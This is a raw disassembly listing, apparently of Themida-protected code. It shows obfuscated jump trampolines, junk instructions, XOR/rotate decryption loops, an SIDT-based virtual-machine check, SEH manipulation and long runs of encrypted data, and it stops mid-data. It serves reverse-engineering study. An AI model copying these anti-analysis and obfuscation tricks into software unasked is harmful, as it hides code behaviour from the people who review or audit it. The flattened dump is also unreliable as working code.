Themida_:0057C9F4j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57C9EF ; --------------------------------------------------------------------------- loc_57C9F9: ; CODE XREF: Themida_:0057C9FEj pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57C9F9 ; --------------------------------------------------------------------------- loc_57CA03: ; CODE XREF: Themida_:0057CA08j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57CA03 ; --------------------------------------------------------------------------- align 10h dd 0 dd 0C3616000h, 0FFFFF8E9h, 2EB58BFFh, 8106173Eh, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 32B53B00h, 0F06173Eh dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h dd 0FC00A03h, 1984h, 0BB535000h, 2, 34F1858Bh, 18860614h dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh dd 2474FF50h, 1D95FF08h, 50061419h, 244C010Fh, 0C08358FEh dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch dd 840FC00Ah, 9, 34F1858Bh, 0C60614h, 4FF5800h, 4C224h dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h dd 2BB00h, 858B0000h, 61434F1h, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 61416ADh, 0 ; --------------------------------------------------------------------------- mov eax, [esp+8] mov ebx, [eax+1000h] mov [eax+1000h], ebx mov ebx, [eax] mov [eax], ebx jmp loc_57CB17 ; --------------------------------------------------------------------------- mov dword ptr [ebp+61416ADh], 100h loc_57CB17: ; CODE XREF: Themida_:0057CB08j pop eax pop ebx inc dword ptr [esp] retn ; --------------------------------------------------------------------------- db 0E9h, 0A3h, 0FFh dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh dd 0C033087Ah, 1E9h, 3F80AA00h, 0F6850F00h, 5FFFFFFFh dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h dd 0BAACBD1h, 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h dd 850FD20Bh, 0FFFFFFDFh ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- loc_57CBD6: ; CODE XREF: Themida_:loc_57C9C6j mov ax, ds test al, 4 jz loc_57CC0A mov dword ptr [ebp+6173DD3h], 1 push eax sidt fword ptr [esp-2] pop dword ptr [ebp+6173DD7h] lea eax, [ebp+6173DCFh] lea edi, [ebp+6173DD7h] mov [eax], edi jmp loc_57CC2D ; --------------------------------------------------------------------------- loc_57CC0A: ; CODE XREF: Themida_:0057CBDBj lea eax, [ebp+61412F5h] mov eax, [eax+38h] add eax, 9B46F317h mov [ebp+6173DCFh], eax lea eax, [ebp+61412F5h] mov eax, [eax+3Ch] mov [ebp+6173DD3h], eax loc_57CC2D: ; CODE XREF: Themida_:0057CC05j lea eax, [ebp+6173DECh] mov [ebp+614191Dh], eax jmp loc_57CCC5 ; --------------------------------------------------------------------------- loc_57CC3E: ; DATA XREF: Themida_:0054954Co push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_57CC59 ; --------------------------------------------------------------------------- loc_57CC52: ; CODE XREF: Themida_:0057CC5Bj add [esi], al xor [esi], al ror eax, 1 inc esi loc_57CC59: ; CODE XREF: Themida_:0057CC4Dj cmp esi, edi jb loc_57CC52 popa pop edx retn 8 ; --------------------------------------------------------------------------- loc_57CC66: ; DATA XREF: Themida_:0054BD8Co push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_57CC81 ; --------------------------------------------------------------------------- loc_57CC7A: ; CODE XREF: Themida_:0057CC83j xor [esi], al sub [esi], al ror eax, 1 inc esi loc_57CC81: ; CODE XREF: Themida_:0057CC75j cmp esi, edi jb loc_57CC7A popa pop edx retn 8 ; --------------------------------------------------------------------------- loc_57CC8E: ; DATA XREF: Themida_:00549A6Co push edx mov edx, esp push esi push ecx push ebx xor ebx, ebx mov esi, [edx+8] mov ecx, [edx+0Ch] jmp loc_57CCB4 ; --------------------------------------------------------------------------- loc_57CCA1: ; CODE XREF: Themida_:0057CCB6j lodsb cmp al, 2Dh jz loc_57CCB4 add al, 98h xor al, 13h xor bl, al rol ebx, 8 dec ecx loc_57CCB4: ; CODE XREF: Themida_:0057CC9Cj ; Themida_:0057CCA4j or ecx, ecx jnz loc_57CCA1 mov eax, ebx pop ebx pop ecx pop esi pop edx retn 8 ; --------------------------------------------------------------------------- loc_57CCC5: ; CODE XREF: Themida_:0057CC39j lea eax, [ebp+617405Fh] mov [ebp+614096Dh], eax lea eax, [ebp+6174087h] mov [ebp+61431ADh], eax lea eax, [ebp+61740AFh] mov [ebp+6140E8Dh], eax call near ptr loc_57CCF1+2 push dword ptr [eax+24h] loc_57CCF1: ; CODE XREF: Themida_:0057CCE9p cmp [ebp+66h], ch mov esi, 0F95AB4A7h add edx, 6850h adc si, 0DA7Ah sub eax, eax mov ecx, eax ; START OF FUNCTION CHUNK FOR sub_57CD4E loc_57CD08: ; CODE XREF: sub_57CD4E+15j push dword ptr [eax+edx] pop ebx sub ebx, 5D8AD4DBh mov si, 345Bh xor ebx, 35ED3AD0h jo loc_57CD23 stc loc_57CD23: ; CODE XREF: sub_57CD4E-32j add ebx, 6F894EE7h push ebx add di, 0EEF8h pop dword ptr [edx+eax] jmp loc_57CD41 ; END OF FUNCTION CHUNK FOR sub_57CD4E ; --------------------------------------------------------------------------- db 8Ch dd 48581497h, 295AA2A6h ; --------------------------------------------------------------------------- pushf loc_57CD41: ; CODE XREF: sub_57CD4E-1Cj push ebx call sub_57CD4E sbb eax, 4B09DEE7h ; --------------------------------------------------------------------------- db 0FEh, 0B1h ; =============== S U B R O U T I N E ======================================= sub_57CD4E proc near ; CODE XREF: Themida_:0057CD42p ; FUNCTION CHUNK AT 0057CD08 SIZE 0000002F BYTES jbe $+6 pop ecx pop esi sub eax, 4 mov di, 5F0Fh cmp eax, 0FFFF9834h jnz loc_57CD08 jmp loc_57CD76 ; --------------------------------------------------------------------------- dw 7158h dd 0C6B93FB5h ; --------------------------------------------------------------------------- pop ebp pushf loc_57CD76: ; CODE XREF: sub_57CD4E+1Bj pusha mov si, 16D5h mov eax, eax mov ecx, esi mov edx, ecx cmp dword ptr [ebp+61430B1h], 0 jnz short loc_57CD93 cmp dword ptr [ebp+6141AE1h], 0 jz short loc_57CDAC loc_57CD93: ; CODE XREF: sub_57CD4E+3Aj push eax push ebx mov eax, eax mov eax, 40Eh mov [ebp+6141A49h], eax lea ebx, [ebp+616B73Ah] call ebx pop ebx pop eax loc_57CDAC: ; CODE XREF: sub_57CD4E+43j cmp dword ptr [ebp+6141AE1h], 0 jz short loc_57CDCC push eax push ebx mov eax, 40Eh mov [ebp+6141A49h], eax lea ebx, [ebp+616B429h] call ebx pop ebx pop eax loc_57CDCC: ; CODE XREF: sub_57CD4E+65j mov dh, 8Ch jmp loc_57CDE7 ; --------------------------------------------------------------------------- db 0E9h dd 7B9C3BC1h, 30A76E31h, 2E3EA4D5h, 0A15BE87Eh db 81h, 9Bh, 0F1h ; --------------------------------------------------------------------------- loc_57CDE7: ; CODE XREF: sub_57CD4E+80j mov edx, esi mov eax, eax push 0 push ebp call sub_57CDF6 and [ebp-3Dh], bl sub_57CD4E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_57CDF6 proc near ; CODE XREF: sub_57CD4E+A0p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_57CDF6 endp ; --------------------------------------------------------------------------- xchg eax, edx wait cmp dword ptr [ebp+6142309h], 0 jz loc_57CE55 add dl, 0D7h jmp loc_57D101 ; --------------------------------------------------------------------------- push 0 push esi call sub_57CE28 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57CE28 proc near ; CODE XREF: Themida_:0057CE20p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_57CE28 endp ; --------------------------------------------------------------------------- dd 0AC94416Bh, 0E81ABC78h, 0Dh, 0FD197215h, 8803EF43h dd 4355E083h, 0CB8B66C7h ; --------------------------------------------------------------------------- pop ecx loc_57CE55: ; CODE XREF: Themida_:0057CE0Fj mov edi, ds movsx esi, ax or edx, 730ABB1Dh test di, 4 jnz loc_57D101 push 0 push ebp call sub_57CE76 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57CE76 proc near ; CODE XREF: Themida_:0057CE6Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_57CE76 endp ; --------------------------------------------------------------------------- push cs push cs movsx edx, si cmp dword ptr [ebp+61414CDh], 0 jnz loc_57CEA6 sbb edx, 608CD914h jmp loc_57D101 ; --------------------------------------------------------------------------- movzx edx, cx loc_57CEA6: ; CODE XREF: Themida_:0057CE92j sub edi, edi push 0 push esi call sub_57CEB3 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57CEB3 proc near ; CODE XREF: Themida_:0057CEABp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_57CEB3 endp ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- mov edx, 3A0630E6h pusha jno loc_57CED2 mov ah, 0F6h loc_57CED2: ; CODE XREF: Themida_:0057CECAj adc esi, 13F7F19Fh popa lea ebx, [ebp+61744BBh] push 0 push ebx call sub_57CEEA and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57CEEA proc near ; CODE XREF: Themida_:0057CEE2p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_57CEEA endp ; --------------------------------------------------------------------------- dw 7F6Bh dd 891F19F4h, 0E2816634h, 665068B7h, 89E8F3B9h, 8F0F241Ch dd 0 ; --------------------------------------------------------------------------- push large dword ptr fs:0 push 0 push ebp call sub_57CF26 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57CF26 proc near ; CODE XREF: Themida_:0057CF1Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_57CF26 endp ; --------------------------------------------------------------------------- aam 20h adc byte ptr [eax], 6Ah mov large fs:0, esp push 0 push edx call sub_57CF4D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57CF4D proc near ; CODE XREF: Themida_:0057CF45p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_57CF4D endp ; --------------------------------------------------------------------------- db 96h, 2Fh, 36h dd 8DD03B2h, 0F001F9Ah, 0C48BD3B7h, 38D0Fh, 0C9800000h dd 0EB01CD7Dh, 3C29B900h, 6A56ABh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 609E70C3h, 0FC6057B4h dd 8B0Fh, 61610000h, 0DE9h, 0A0B30300h, 0B9D8B27Dh, 2B8381F9h dd 8F64F7CFh, 5, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 87E86AA9h, 44BE5C46h dd 0F939448Bh, 6A04C483h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 8D77C353h, 42B2CE55h dd 840FC00Bh, 0EDh, 753ABE56h, 665A5EC8h, 6A61D18Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0F089C353h, 50E2CF70h, 0A2DC5B95h, 8DF6BF0Fh, 1470F0BDh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 4A56F36Ah, 0B8A2491Ch, 1, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0DBC35545h, 0FF2BF180h dd 1EBEBAE7h, 8B577AEFh, 8B10245Ch, 0B883h, 40B60F00h dd 89C8FE01h, 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 35C35141h dd 88D508Ah, 1E800Fh, 880F0000h, 18h, 13E9h, 24FEF400h dd 0C39AD4FEh, 0EE29ACD3h, 0AC2A32FDh, 9CAD6136h ; --------------------------------------------------------------------------- cld loc_57D101: ; CODE XREF: Themida_:0057CE18j ; Themida_:0057CE65j ... popa mov ecx, 7B77AA43h mov eax, eax js loc_57D117 jl loc_57D117 pusha popa loc_57D117: ; CODE XREF: Themida_:0057D109j ; Themida_:0057D10Fj cmp dword ptr [ebp+61430B1h], 0 jnz short loc_57D129 cmp dword ptr [ebp+6141AE1h], 0 jz short loc_57D142 loc_57D129: ; CODE XREF: Themida_:0057D11Ej push eax push ebx mov eax, eax mov eax, 40Eh mov [ebp+61430C1h], eax lea ebx, [ebp+616B7A1h] call ebx pop ebx pop eax loc_57D142: ; CODE XREF: Themida_:0057D127j cmp dword ptr [ebp+6141AE1h], 0 jz short loc_57D162 push eax push ebx mov eax, 40Eh mov [ebp+61430C1h], eax lea ebx, [ebp+616B442h] call ebx pop ebx pop eax loc_57D162: ; CODE XREF: Themida_:0057D149j jmp loc_57D179 ; --------------------------------------------------------------------------- xchg eax, esp mov eax, 432489AFh add al, 0DEh mov [ebx+ecx*4], dl xor ebp, 0FFFFFFE1h cld xor al, 12h pop es loc_57D179: ; CODE XREF: Themida_:loc_57D162j mov eax, eax clc mov eax, edx jmp short loc_57D188 ; --------------------------------------------------------------------------- dd 2 dup(0) ; --------------------------------------------------------------------------- loc_57D188: ; CODE XREF: Themida_:0057D17Ej jmp loc_57D208 ; --------------------------------------------------------------------------- db 60h, 52h, 0Fh ; --------------------------------------------------------------------------- add [esp-2], ecx pop edx add edx, 24h loc_57D198: ; CODE XREF: Themida_:0057D1CFj mov eax, [ebp+61412CDh] lea eax, [ebp+617764Fh] mov ecx, [eax] mov ecx, [eax+1000h] mov ecx, [edx] mov cx, [edx-4] mov [ebp+61745A5h], ecx cmp dword ptr [ebp+61414CDh], 0 jz loc_57D1D4 pusha push 0 call dword ptr [ebp+6141169h] popa jmp loc_57D198 ; --------------------------------------------------------------------------- loc_57D1D4: ; CODE XREF: Themida_:0057D1BFj mov [edx-4], si ror esi, 10h mov [edx+2], si push edx int 4 ; - internal hardware - OVERFLOW ; Generated by INTO instruction if OF flag is set. If flag is not set, INTO ; is effectively a NOP. pop edx mov [ebp+61745A1h], eax mov esi, [ebp+61745A5h] ror esi, 10h mov [edx+2], si mov esi, [ebp+61745A5h] mov [edx-4], si popa mov eax, [ebp+61745A1h] retn ; --------------------------------------------------------------------------- loc_57D208: ; CODE XREF: Themida_:loc_57D188j lea edx, [ebp+6141729h] mov [ebp+61434F1h], edx mov [ebp+6142D01h], edx inc dword ptr [ebp+6142D01h] mov byte ptr [ebp+6141A59h], 53h push 0FCB148D8h push dword ptr [ebp+6141145h] lea eax, [ebp+6143B13h] call eax mov [ebp+6141169h], eax lea eax, [ebp+6173E06h] mov [ebp+6143525h], eax jmp short loc_57D26E ; --------------------------------------------------------------------------- align 10h dd 7 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_57D26E: ; CODE XREF: Themida_:0057D24Cj jmp loc_57D881 ; --------------------------------------------------------------------------- jmp loc_57D87A ; --------------------------------------------------------------------------- push 6174881h jmp loc_5509FF ; --------------------------------------------------------------------------- push 617495Ah jmp loc_5509FF ; --------------------------------------------------------------------------- push 6174B29h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6174BA9h jmp loc_5509FF ; --------------------------------------------------------------------------- dd 64B609D3h, 1F714C87h, 0D92B9042h, 8EE0D9FCh, 459726B1h dd 0D304AC0Ch, 16BB98EAh, 647451A3h, 0AA2C095Bh, 2BB3BF11h dd 92E3F25h, 0F1585358h, 4FFBC012h, 0F1E82709h, 855C32D1h dd 0CEBCF625h, 8DFDAFCBh, 0A30DCC23h, 0F62D2EEh, 63FBB7E5h dd 2BA0E234h, 7EEDCB3Ah, 407B5724h, 2BD7E2F3h, 593EA4D3h dd 55000000h, 0F1E7F6D9h, 60107E51h, 828D4B18h, 0F1E7967Ch dd 0EA82AA51h, 3AFAEB93h, 184702EBh, 7C824A12h, 51F2C896h dd 0F5382AAh, 57E71092h, 5C637542h, 0EC0158B0h, 0ED48FDDCh dd 7DA52958h, 0A27C532Bh, 33EF4394h, 29020E3Dh, 3A000000h dd 0A652696Dh, 0D17D3C99h, 0CBB2E179h, 0F1E7F7D9h, 5F0F7D51h dd 2F941117h, 774457E6h, 902DA65Eh, 0C5F48CE4h, 0EC71941h dd 4FFBC012h, 0F1E82809h, 9427ABD1h, 0C5F8DBE8h, 6022C419h dd 69290D81h, 0F4C70BD8h, 0B6C1F048h, 714D9F1Ch, 3B125A08h dd 62EF350Eh, 0ADEB4273h, 1B498CCCh, 2E343A69h, 0D1F1FC4Ch dd 947A8058h, 21D1F2DBh, 65E0AB1h, 0D4801840h, 0DFF70FC7h dd 40D830DCh, 0FCA412EEh, 0CDF0E7B4h, 0FAC31421h, 272D3362h dd 0D7E60F68h, 0E6AEF61Eh, 6EEFAE0h, 30360ED8h, 0D806EF4Ah dd 6F9E365Eh, 0EEDDBF05h, 7362D806h, 4B8D9A46h, 0BAC0C874h dd 0D806EED4h, 466AC0E8h, 0BCDEA504h, 349E6B9Eh, 5483DB87h dd 0D8E67DE8h, 758178h, 13980000h, 0DAB1F9A5h, 39EDE10Ch dd 3238672Dh, 0E6389C2Ch, 94DC0457h, 703E91BDh, 1948E258h dd 2B904613h, 2CDAFCD9h, 106814A5h, 10A813C3h, 0A4B87732h dd 0D8E6D03Eh, 36Ch, 24764993h, 0DF318C47h, 99EBD002h dd 4EA019BCh, 5576671h, 13C4ECCCh, 567B58AAh, 0A4341163h dd 0EAECC91Bh, 0EB737FD1h, 92FFFE5h, 0B1181358h, 33711h dd 567C4900h, 124F3665h, 0DA4A3CC0h, 4A88DA2Bh, 0F23F5E44h dd 0B24A7251h, 8F666E1Ah, 47FEC127h, 0BFA5ABBAh, 0D351F24Ch dd 0A0E413ABh, 51F24CBEh, 0D0C07148h, 6410AB2Bh, 9FE2B50Ch dd 0DA724989h, 490567ABh, 6C5151F2h, 0BE51F24Ah, 51F249DCh dd 0F24A4628h, 0CF03D051h, 0B9E840ECh, 0F2499375h, 3AB1991h dd 0BF1CF3BBh, 9A8780E7h, 0E4ACF01Fh, 0AC17E757h, 626F3C84h dd 0B53AB57h, 9581F05h, 0DC0B3318h, 48F86672h, 4613800h dd 0CA9DE5B5h, 5DC00433h, 6B1DFD17h, 94E6543h, 230D7891h dd 29315h, 4F706C00h, 0AB320FDh, 0C4F7DBB8h, 79409572h dd 308D4A27h, 9D13A5DEh, 5431833Ah, 0DEA3C7Dh, 0C5A2F4CBh dd 4C58AA11h, 30D8BEC4h, 0F1EC5809h, 0F7C4128Ah, 2DD13F4Bh dd 2D8EDFE5h, 507857E6h, 7F5926FEh, 0CC061140h, 60D0A7EFh dd 5ADA41EEh, 4A273766h, 7B873388h, 1319610Dh, 5DFD66AAh dd 0BBFED7B4h, 0CD1FB70Fh, 2067D5B7h, 91975F5Eh, 5E2067ABh dd 0C6F3E2BFh, 0D32AC21Ah, 83384C69h, 0EAF42368h, 868CD47Ch dd 6414A431h, 0BA03D4A1h, 387B60Eh, 0A53F252Bh, 76536437h dd 2FC75F5Ch, 0FFBC1AE7h, 0B506D0ADh, 0A4D1C309h, 9776437h dd 4F551D65h, 6437A569h, 8435A07Dh, 0B9E880D8h, 0EC34ADB3h dd 865E6A2Bh, 4EEA9A80h, 0FAA276Ah, 41892149h, 9526AC79h dd 0F272113Eh, 79A8DDF8h, 153686Eh, 5D09B224h, 714A8855h dd 0FA3E6DC5h, 6A4F8B08h, 489040AEh, 43D0D942h, 73BBE370h dd 0DE8A2FA6h, 84515786h, 3A176952h, 0AD71F9Ch, 573D43C8h dd 6B7066D2h, 0A7FFAB43h, 94020E78h, 219EA4ECh, 53765B19h dd 57397F2Bh, 0DC767E18h, 0C19C5F6h, 3349F5C6h, 1DB9730Fh dd 29AF29Eh, 6279193Bh, 0DA61C203h, 74498E5Bh, 2440262Ch dd 2C54767Eh, 1597FDh, 0D9AE0000h, 51F104F7h, 1E7Bh, 0B2DCB300h dd 0B454735Fh, 173E2554h, 8632874Ah, 7C25D72Eh, 2A5A2FCh dd 7DAD8FD3h, 175651F1h, 2F8C4Ah, 90D888F6h, 0E62D398Ah dd 973C2357h, 0F9F15803h, 0F8A415BCh, 287008A0h, 94407B5Bh dd 97A30D3Ch, 0BA03D029h, 91D4DA22h, 0DD5DFCB8h, 99290F15h dd 603D5E1Dh, 469E4A73h, 0D3FB7FAEh, 9088C8F5h, 0AFBDA738h dd 0C4h, 0CC1EA13Bh, 87D9E4EFh, 419328AAh, 0F6487164h dd 0ADFFBE19h, 6B6C4474h, 0AE230052h, 0FCDCB90Bh, 429471C3h dd 931B2779h, 932A78Dh, 59C0BB58h, 318E4A17h, 278AF802h dd 5F74FE8Bh, 2EC9075Eh, 0B3999FE7h, 0C751F2D8h, 0B9BF079Fh dd 57E71E68h, 4E3F9D0h, 43EFD008h, 0BAF094EBh, 603DC1F0h dd 429A4677h, 84F2FEAAh, 2B8E94DCh, 395DFDA1h, 0A840795Ch dd 8F9EFDCAh, 8E9C8638h, 44h, 4C9E21BBh, 759646Fh, 0C113A82Ah dd 76C8F1E4h, 2D7F3E99h, 0EBECC4F4h, 2EA380D2h, 7C5C398Bh dd 0C214F143h, 139BA7F9h, 933270Dh, 0D9403B58h, 0F11h dd 577C4900h, 0E4503766h, 7746915Eh, 5D4473CBh, 49F5CA12h dd 75219A3Ch, 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h dd 5703B61Fh, 8733884Ah, 0B864597Ah, 0E6895633h, 4C681h dd 0EE830000h, 24348704h, 6824248Bh, 7D6Ah, 53243489h dd 0C381E389h, 4, 4EB81h, 1C870000h, 14895C24h, 67BD5524h dd 0F755CC3Fh, 28C581DDh, 555BE386h, 8B545D5Eh, 0C4812414h dd 4, 2C815655h, 6928E324h, 0C5815D75h, 756928E3h, 5D086A89h dd 5A2434FFh, 4C481h, 348B0000h, 0E6895624h, 4C681h, 0C6810000h dd 4, 5C243487h, 0FD318AE9h, 7C09C9FFh db 0ADh, 89h ; --------------------------------------------------------------------------- loc_57D87A: ; CODE XREF: Themida_:0057D273j mov eax, 6174C12h add eax, ebp loc_57D881: ; CODE XREF: Themida_:loc_57D26Ej mov ecx, eax jmp short $+2 jmp loc_57DE83 ; --------------------------------------------------------------------------- jmp loc_57DE7C ; --------------------------------------------------------------------------- push 6174D7Eh jmp loc_5509FF ; --------------------------------------------------------------------------- push 6174EA8h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6174F23h jmp loc_5509FF ; --------------------------------------------------------------------------- push 617502Eh jmp loc_5509FF ; --------------------------------------------------------------------------- push 6175127h jmp loc_5509FF ; --------------------------------------------------------------------------- db 0F4h, 0E8h, 0D7h dd 922BA885h, 4C6F6340h, 1B81DFAh, 0B805D2AFh, 258B2D66h dd 0DCB90BB2h, 9572C4F5h, 4D2A7C43h, 0D4E03289h, 3460464Ch dd 79745809h, 0E7F7D912h, 5D4351F1h, 0EF51F1E8h, 0BA07B422h dd 9DF5A11Eh, 0E8452A6Eh, 0B59751F1h, 3F51F1E7h, 2A596672h dd 0F1E803E6h, 0E86F5151h, 31F9D1F1h, 0F1E8452Bh, 23159D1h dd 0AF278AF8h, 78419032h, 847F6421h, 39EA4ECh, 71D7E5D4h dd 0A4340149h, 0ECECC91Bh, 0AD1B27D3h, 50B3B901h, 5EDDFAB8h dd 6E685836h, 230DB893h, 44815h, 734C9000h, 2E8F4421h dd 0E8D3FFDCh, 9D1CB996h, 54696E4Bh, 0C1EFC902h, 7855A716h dd 310E6059h, 0E9C618A7h, 707CCEEDh, 34FCE2E8h, 15105809h dd 0F7C412AEh, 6176434Bh, 2958B05Ch, 0F1E802E5h, 2E6C9051h dd 8B46C016h, 922A822Eh, 48736340h, 74478F9Ch, 0A11CBBC8h dd 0CEEFE8F5h, 0FDBC1522h, 0DF43F951h, 8AB37FA3h, 0F65E6A52h dd 0A48AC5Eh, 0B622E4F2h, 85505D09h, 98308834h, 0F570AE00h dd 9FEEDC3h, 3A4h, 47C41220h, 0F1E85B41h, 0CFF0E851h, 0DD05CB23h dd 70539945h, 0D751F1E8h, 27AF4505h, 0AE364294h, 0F1E7C2A8h dd 2AED651h, 8ADCE3F5h, 4A9229ADh, 0E16EAB82h, 0E37B7DCFh dd 0F241775Dh, 34638B51h, 0F353BECAh, 0F24107EDh, 5BF31B51h dd 63693109h, 51F2417Dh, 9D1EB491h, 0D20199F1h, 0AC0FC7h dd 93DBDEF3h, 40DFC5CBh, 0CBF351F2h, 94768C9Ch, 1951F240h dd 495501B8h, 64597EDBh, 1CB784CCh, 509DF5A1h, 1073687h dd 0E57228FBh, 383E1657h, 58065252h, 0C8A63E66h, 3EA7D502h dd 1E8F9D87h, 0BA000003h, 6E4B9D22h, 29065865h, 0E3C012A9h dd 9875C7F2h, 0F32C7E3Fh, 0D1ECEBC5h, 8A2FA27Fh, 427D5B38h dd 0F8C313F0h, 0C129AA6h, 58093626h, 12D83F3Ah, 3E4BF7C4h dd 6A772398h, 0EA005267h, 51F1E7C8h, 6D82FBD2h, 0A0A1B763h dd 83DB8738h, 26CC94EBh, 3198AF1Dh, 5EDCBE02h, 706151F1h dd 75579D49h, 0FB51F23Fh, 9399E18Dh, 57E55A5Ch, 0C80CEA12h dd 0D53EA7CCh, 2A3DDEBh, 0A7350000h, 0EAE9C618h, 2EA481D3h dd 775E3B8Dh, 0C413F042h, 4A6EA7F9h, 0FA4C7166h, 0B305B41Dh dd 6BBD02D6h, 2173488Eh, 0A1878D15h, 0B5580936h, 0C41253BAh dd 0CA0B2938h, 972FBF93h, 6956824Fh, 9922B0BDh, 5B68D201h dd 2294407Bh, 0A06D9CBEh, 8C2E8536h, 0CC55556Bh, 45919CCBh dd 7F4C2476h, 17B4A759h, 398CA78Dh, 5F0672A1h, 9FFEED9Dh dd 214h, 0E7F7D9B6h, 5C7C51F1h, 0E7C7ADB3h, 0FEDB51F1h dd 0E43CE8D5h, 8562B44Ch, 57246C53h, 0DCE9407Bh, 6C73BDA1h dd 27349ECDh, 0F9C60EB1h, 43292FDEh, 5751F2B4h, 93EB972Fh dd 2488FA64h, 0B50ACE66h, 8A33A06Dh, 9C734B5Bh, 4B86D77h dd 16D9C26h, 0FEED3464h, 709Ah, 0C4CA9200h, 51F2B0DEh dd 7C82CAF2h, 51F2B096h, 6C5382AAh, 308D4A17h, 0F3FD2C84h dd 0BB42485h, 0A6252B73h, 5A57E519h, 0C672498Dh, 0DEBB3F6Eh dd 0C018C4F9h, 2E944A28h, 331D3EA8h, 19825h, 239C4000h dd 0DEDFF4D1h, 9823AF8Ch, 4D6C6946h, 4B91EFBh, 713F79B2h dd 28055766h, 0E1BE10A9h, 9976C8F7h, 202C7E3Dh, 37AC9298h dd 0C5C05809h, 845BE35Eh, 9CC64325h, 68537F2Ch, 959BA1D0h dd 51F2B397h, 0EAF7A3CBh, 0A27FD1EEh, 0B906D234h, 0D51DB50Dh dd 2176C0FEh, 8CBB752Dh, 46AB1622h, 40922A8Fh, 84379B68h dd 318E4A55h, 0E7D402DFh, 16A32E3Bh, 0E5D401CEh, 0A2B2E139h dd 22080E96h, 3651F234h, 7D55620Eh, 0A710EC3Eh, 943E4BF7h dd 0C112DF27h, 0A7BDCDFCh, 51F233C5h, 0E931DD4Bh, 0E6356CE3h dd 327AA257h, 86359D6Ah, 81874C57h, 65BD6950h, 359E7BCDh dd 9CFDC88h, 4DE5D401h, 7C3D94A1h, 0AC0FC3D0h, 8A6A8D64h dd 88B428B7h, 75E3EF59h, 0F4E0170Ah, 65FD99ADh, 0AA98171Dh dd 844C5DF9h, 1A89987Eh, 5584AC5Eh, 1DCBA9D1h, 0A838939Dh dd 9FB0BEh, 0A3390000h, 0E6EDCA1Ch, 2AA885D7h, 73623F91h dd 0C017F446h, 4672ABFDh, 0FE506D6Ah, 0B709B021h, 6FC1FEDAh dd 25774492h, 0A58B9119h, 0B9580938h, 4A1757BEh, 2C84308Dh dd 0D7E4F2FDh, 3B81E2Bh, 33884A57h, 62577A87h, 0DE7CA0B6h dd 6410AD26h, 5EC2740Ch, 0EDCE083Ch, 0E7FFCEA5h, 5606E6A4h dd 0F2C26A50h, 0BE567E51h, 24417F8Fh, 0DAFEED18h, 10h dd 0E7F6D9F1h, 597D51F1h, 10321062h, 89000000h, 2E8B4A17h dd 0E7D9BBFFh, 785E51F1h, 0F338F143h, 75D62h, 0DC620000h dd 0CAF9C40Fh, 0F5CA12E3h, 219A3C49h, 4F706875h, 7E3B96A3h dd 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h dd 895033B8h, 0EABB53E0h, 812B4D77h, 